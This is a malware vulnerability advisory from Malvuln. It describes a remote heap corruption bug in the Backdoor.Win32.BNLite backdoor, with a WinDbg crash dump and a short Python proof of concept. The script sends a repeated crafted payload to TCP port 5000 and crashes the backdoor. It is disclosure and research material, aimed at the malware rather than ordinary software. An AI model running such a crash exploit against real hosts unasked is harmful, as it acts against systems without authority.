BACKDOOR.WIN32.BNLITE Remote Heap Corruption

`Discovery / credits: malvuln - Malvuln.com (c) 2021  
Original source: http://malvuln.com/advisory/f78cef7588f9c32609a4932d10c67f95.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: BACKDOOR.WIN32.BNLITE  
Vulnerability: Remote Heap Corruption  
Description: When sending a specially crafted payload to TCP Port 5000, the backdoor malware will suffer a Heap Corruption.  
  
Type: PE32  
MD5: f78cef7588f9c32609a4932d10c67f95  
Vuln ID: MVID-2021-0012  
Dropped files: NBLF32.exe  
ASLR: False   
Safe SEH: True  
Disclosure: 01/02/2021   
  
Memory Dump:   
PROCESS_NAME: NBLF32.exe  
FAULTING_MODULE: 77360000 ntdll  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
EXCEPTION_PARAMETER1: 00000000  
EXCEPTION_PARAMETER2: 30322326  
READ_ADDRESS: 30322326   
  
FOLLOWUP_IP:   
ntdll!RtlAllocateHeap+19ba  
773a2d6a 8b09 mov ecx,dword ptr [ecx]  
  
FAULTING_THREAD: 00000b84  
DEFAULT_BUCKET_ID: HEAP_CORRUPTION  
PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION  
BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION_STRING_DEREFERENCE_INVALID_POINTER_READ_WRONG_SYMBOLS  
LAST_CONTROL_TRANSFER: from 773a16b7 to 773a2d6a   
  
0:000> .ecxr  
eax=0000263b ebx=026fa980 ecx=30322326 edx=3b333532 esi=026fa988 edi=026d0000  
eip=773a2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
ntdll!RtlAllocateHeap+0x19ba:  
773a2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:30322326=????????  
  
  
Exploit/PoC:  
from socket import *  
#NBLF32.exe HEAP CORRUPTION  
#May need to send payload twice consecutively  
#or wait for reboot if exploit fails first time.  
#===============================================  
MALWARE_INFECTED_HOST=x.x.x.x  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_INFECTED_HOST, 5000))  
  
PAYLOAD="DELETE / HTTP/1.0 KýΛ@g5”ö?KýΛ@g5”ö?"*44220  
  
s.send(PAYLOAD)  
s.close()  
  
print("Backdoor.Win32.BNLite Malware / Remote Heap Corruption")  
print("MD5: f78cef7588f9c32609a4932d10c67f95")  
print("By malvuln")  
  
  
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`